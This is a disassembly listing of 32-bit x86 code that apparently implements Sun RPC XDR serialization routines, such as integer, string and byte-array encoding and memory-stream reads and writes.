arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 1
		jnz	short loc_8064F2C
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F2C:				; CODE XREF: sub_8064F10+Cj
		cmp	dword ptr [edx], 0
		jnz	short loc_8064F40
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F40:				; CODE XREF: sub_8064F10+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_8064F4C
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F4C:				; CODE XREF: sub_8064F10+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064F10	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064F58	proc near

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_8064F90
		jb	short loc_8064F78
		cmp	eax, 2
		jz	short loc_8064FA7
		jmp	short loc_8064FB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064F78:				; CODE XREF: sub_8064F58+14j
		movsx	ebx, word ptr [ebx]
		mov	[ebp+var_4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_8064FB2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064F90:				; CODE XREF: sub_8064F58+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8064FB0
		mov	ax, word ptr [ebp+var_4]
		mov	[ebx], ax

loc_8064FA7:				; CODE XREF: sub_8064F58+19j
		mov	eax, 1
		jmp	short loc_8064FB2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064FB0:				; CODE XREF: sub_8064F58+1Bj
					; sub_8064F58+46j
		xor	eax, eax

loc_8064FB2:				; CODE XREF: sub_8064F58+33j
					; sub_8064F58+54j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8064F58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064FBC	proc near		; CODE XREF: sub_8066858+35p
					; DATA XREF: sub_80649E0+7Eo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_8064FF4
		jb	short loc_8064FDC
		cmp	eax, 2
		jz	short loc_806500B
		jmp	short loc_8065014
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064FDC:				; CODE XREF: sub_8064FBC+14j
		movzx	ebx, word ptr [ebx]
		mov	[ebp+var_4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_8065016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064FF4:				; CODE XREF: sub_8064FBC+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8065014
		mov	ax, word ptr [ebp+var_4]
		mov	[ebx], ax

loc_806500B:				; CODE XREF: sub_8064FBC+19j
		mov	eax, 1
		jmp	short loc_8065016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065014:				; CODE XREF: sub_8064FBC+1Bj
					; sub_8064FBC+46j
		xor	eax, eax

loc_8065016:				; CODE XREF: sub_8064FBC+33j
					; sub_8064FBC+54j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8064FBC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065020	proc near

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp+var_4], ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	edx
		call	sub_8064EA0
		test	eax, eax
		jz	short loc_8065050
		mov	al, byte ptr [ebp+var_4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_8065052
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065050:				; CODE XREF: sub_8065020+1Fj
		xor	eax, eax

loc_8065052:				; CODE XREF: sub_8065020+2Bj
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065020	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806505C	proc near

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp+var_4], ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	edx
		call	sub_8064EB4
		test	eax, eax
		jz	short loc_806508C
		mov	al, byte ptr [ebp+var_4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_806508E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806508C:				; CODE XREF: sub_806505C+1Fj
		xor	eax, eax

loc_806508E:				; CODE XREF: sub_806505C+2Bj
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_806505C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065098	proc near		; CODE XREF: sub_80666A0+Dp
					; sub_8067248+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_80650D8
		jb	short loc_80650B8
		cmp	eax, 2
		jz	short loc_80650F6
		jmp	short loc_8065100
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80650B8:				; CODE XREF: sub_8065098+14j
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	edx, [ecx+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		mov	eax, [edx+4]
		call	eax
		jmp	short loc_8065102
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80650D8:				; CODE XREF: sub_8065098+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_8065100
		cmp	[ebp+var_4], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebx], eax

loc_80650F6:				; CODE XREF: sub_8065098+19j
		mov	eax, 1
		jmp	short loc_8065102
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065100:				; CODE XREF: sub_8065098+1Bj
					; sub_8065098+4Ej
		xor	eax, eax

loc_8065102:				; CODE XREF: sub_8065098+3Bj
					; sub_8065098+63j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065098	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806510C	proc near		; CODE XREF: sub_8064B1C+Dp
					; sub_8064B70+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_806510C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065120	proc near		; CODE XREF: sub_8064B58+Dp
					; sub_80651B8+97p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_80651A8
		mov	ebx, edx
		and	ebx, 3
		jz	short loc_8065143
		mov	edi, 4
		sub	edi, ebx
		mov	ebx, edi

loc_8065143:				; CODE XREF: sub_8065120+18j
		cmp	dword ptr [esi], 1
		jnz	short loc_8065170
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+8]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80651A1
		test	ebx, ebx
		jz	short loc_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_807E758
		push	esi
		mov	eax, [eax+8]
		call	eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065170:				; CODE XREF: sub_8065120+26j
		cmp	dword ptr [esi], 0
		jnz	short loc_806519C
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80651A1
		test	ebx, ebx
		jz	short loc_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_807923C
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806519C:				; CODE XREF: sub_8065120+53j
		cmp	dword ptr [esi], 2
		jz	short loc_80651A8

loc_80651A1:				; CODE XREF: sub_8065120+38j
					; sub_8065120+65j
		xor	eax, eax
		jmp	short loc_80651AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80651A8:				; CODE XREF: sub_8065120+11j
					; sub_8065120+3Cj ...
		mov	eax, 1

loc_80651AD:				; CODE XREF: sub_8065120+4Dj
					; sub_8065120+7Aj ...
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065120	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80651B8	proc near		; CODE XREF: sub_8064B1C+2Ep
					; sub_806527C+14p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		call	sub_805E954
		push	esi
		push	edi
		call	sub_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_8065270
		mov	esi, [esi]
		cmp	[ebp+arg_C], esi
		jnb	short loc_80651F0
		cmp	dword ptr [edi], 2
		jnz	loc_8065270

loc_80651F0:				; CODE XREF: sub_80651B8+2Dj
		mov	eax, [edi]
		cmp	eax, 1
		jz	short loc_8065200
		jb	short loc_806524C
		cmp	eax, 2
		jz	short loc_8065258
		jmp	short loc_8065270
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065200:				; CODE XREF: sub_80651B8+3Dj
		test	esi, esi
		jnz	short loc_806520C

loc_8065204:				; CODE XREF: sub_80651B8+A2j
					; sub_80651B8+B3j
		mov	eax, 1
		jmp	short loc_8065272
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806520C:				; CODE XREF: sub_80651B8+4Aj
		test	ebx, ebx
		jnz	short loc_806524C
		push	esi
		call	malloc
		mov	ebx, eax
		mov	edx, [ebp+arg_4]
		mov	[edx], ebx
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_806524C
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aXdr_bytesS ; "xdr_bytes: %s\n"
		push	offset unk_80787A4
		call	fprintf
		jmp	short loc_8065270
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806524C:				; CODE XREF: sub_80651B8+3Fj
					; sub_80651B8+56j ...
		push	esi
		push	ebx
		push	edi
		call	sub_8065120
		jmp	short loc_8065272
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065258:				; CODE XREF: sub_80651B8+44j
		test	ebx, ebx
		jz	short loc_8065204
		push	ebx
		call	free
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0
		jmp	short loc_8065204
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065270:				; CODE XREF: sub_80651B8+22j
					; sub_80651B8+32j ...
		xor	eax, eax

loc_8065272:				; CODE XREF: sub_80651B8+51j
					; sub_80651B8+9Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80651B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806527C	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	400h
		push	eax
		add	eax, 4
		push	eax
		push	edx
		call	sub_80651B8
		mov	esp, ebp
		pop	ebp
		retn
sub_806527C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806529C	proc near		; CODE XREF: sub_8064C48+40p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	edi
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_80652D7
		mov	eax, [edi]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_80652D1
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80652C4:				; CODE XREF: sub_806529C+33j
		cmp	[ebx], eax
		jz	short loc_80652DC
		add	ebx, 8
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_80652C4

loc_80652D1:				; CODE XREF: sub_806529C+23j
		cmp	[ebp+arg_10], 0
		jnz	short loc_80652EC

loc_80652D7:				; CODE XREF: sub_806529C+1Bj
		xor	eax, eax
		jmp	short loc_80652F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80652DC:				; CODE XREF: sub_806529C+2Aj
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	eax, [ebx+4]
		call	eax
		jmp	short loc_80652F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80652EC:				; CODE XREF: sub_806529C+39j
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	edx, [ebp+arg_10]
		call	edx

loc_80652F8:				; CODE XREF: sub_806529C+3Dj
					; sub_806529C+4Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806529C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065304	proc near		; CODE XREF: sub_80653E0+Dp
					; sub_8066464+10p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi]
		call	sub_805E954
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_806532D
		cmp	eax, 2
		jnz	short loc_8065339
		test	ebx, ebx
		jz	loc_80653CC

loc_806532D:				; CODE XREF: sub_8065304+1Aj
		push	ebx
		call	sub_80662B0
		mov	[ebp+var_4], eax
		add	esp, 4

loc_8065339:				; CODE XREF: sub_8065304+1Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_80653D4
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_4], ecx
		ja	short loc_80653D4
		mov	edx, [ebp+var_4]
		inc	edx
		mov	eax, [esi]
		cmp	eax, 1
		jz	short loc_806536C
		jb	short loc_80653B3
		cmp	eax, 2
		jz	short loc_80653C0
		jmp	short loc_80653D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806536C:				; CODE XREF: sub_8065304+5Bj
		test	edx, edx
		jz	short loc_80653CC
		test	ebx, ebx
		jnz	short loc_80653AC
		push	edx
		call	malloc
		mov	ebx, eax
		mov	[edi], ebx
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_80653AC
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aXdr_stringS ; "xdr_string: %s\n"
		push	offset unk_80787A4
		call	fprintf
		jmp	short loc_80653D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80653AC:				; CODE XREF: sub_8065304+6Ej
					; sub_8065304+7Fj
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0

loc_80653B3:				; CODE XREF: sub_8065304+5Dj
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	esi
		call	sub_8065120
		jmp	short loc_80653D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80653C0:				; CODE XREF: sub_8065304+62j
		push	ebx
		call	free
		mov	dword ptr [edi], 0

loc_80653CC:				; CODE XREF: sub_8065304+23j
					; sub_8065304+6Aj
		mov	eax, 1
		jmp	short loc_80653D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80653D4:				; CODE XREF: sub_8065304+44j
					; sub_8065304+50j ...
		xor	eax, eax

loc_80653D6:				; CODE XREF: sub_8065304+BAj
					; sub_8065304+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065304	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80653E0	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	0FFFFFFFFh
		push	eax
		push	edx
		call	sub_8065304
		test	eax, eax
		jnz	short loc_80653FC
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80653FC:				; CODE XREF: sub_80653E0+14j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_80653E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065408	proc near		; CODE XREF: sub_8063B04+17Ep
					; sub_80641C8+158p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[edx], eax
		mov	dword ptr [edx+4], offset off_8079240
		mov	[edx+10h], ecx
		mov	[edx+0Ch], ecx
		mov	[edx+14h], ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065408	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065434	proc near		; DATA XREF: .data:0807925Co
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_8065434	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806543C	proc near		; DATA XREF: .data:08079240o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, 0FFFFFFFCh
		mov	[edx+14h], eax
		js	short loc_806546C
		mov	eax, [edx+0Ch]
		mov	eax, [eax]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ecx], eax
		add	dword ptr [edx+0Ch], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806546C:				; CODE XREF: sub_806543C+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_806543C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065474	proc near		; DATA XREF: .data:08079244o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		add	eax, 0FFFFFFFCh
		mov	[ecx+14h], eax
		js	short loc_80654A4
		mov	eax, [ecx+0Ch]
		mov	edx, [edx]
		xchg	dl, dh
		ror	edx, 10h
		xchg	dl, dh
		mov	[eax], edx
		add	dword ptr [ecx+0Ch], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80654A4:				; CODE XREF: sub_8065474+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8065474	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80654AC	proc near		; DATA XREF: .data:08079248o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebx+14h]
		sub	eax, esi
		mov	[ebx+14h], eax
		js	short loc_80654DC
		push	esi
		push	edx
		mov	eax, [ebx+0Ch]
		push	eax
		call	bcopy
		add	[ebx+0Ch], esi
		mov	eax, 1
		jmp	short loc_80654DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80654DC:				; CODE XREF: sub_80654AC+16j
		xor	eax, eax

loc_80654DE:				; CODE XREF: sub_80654AC+2Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80654AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

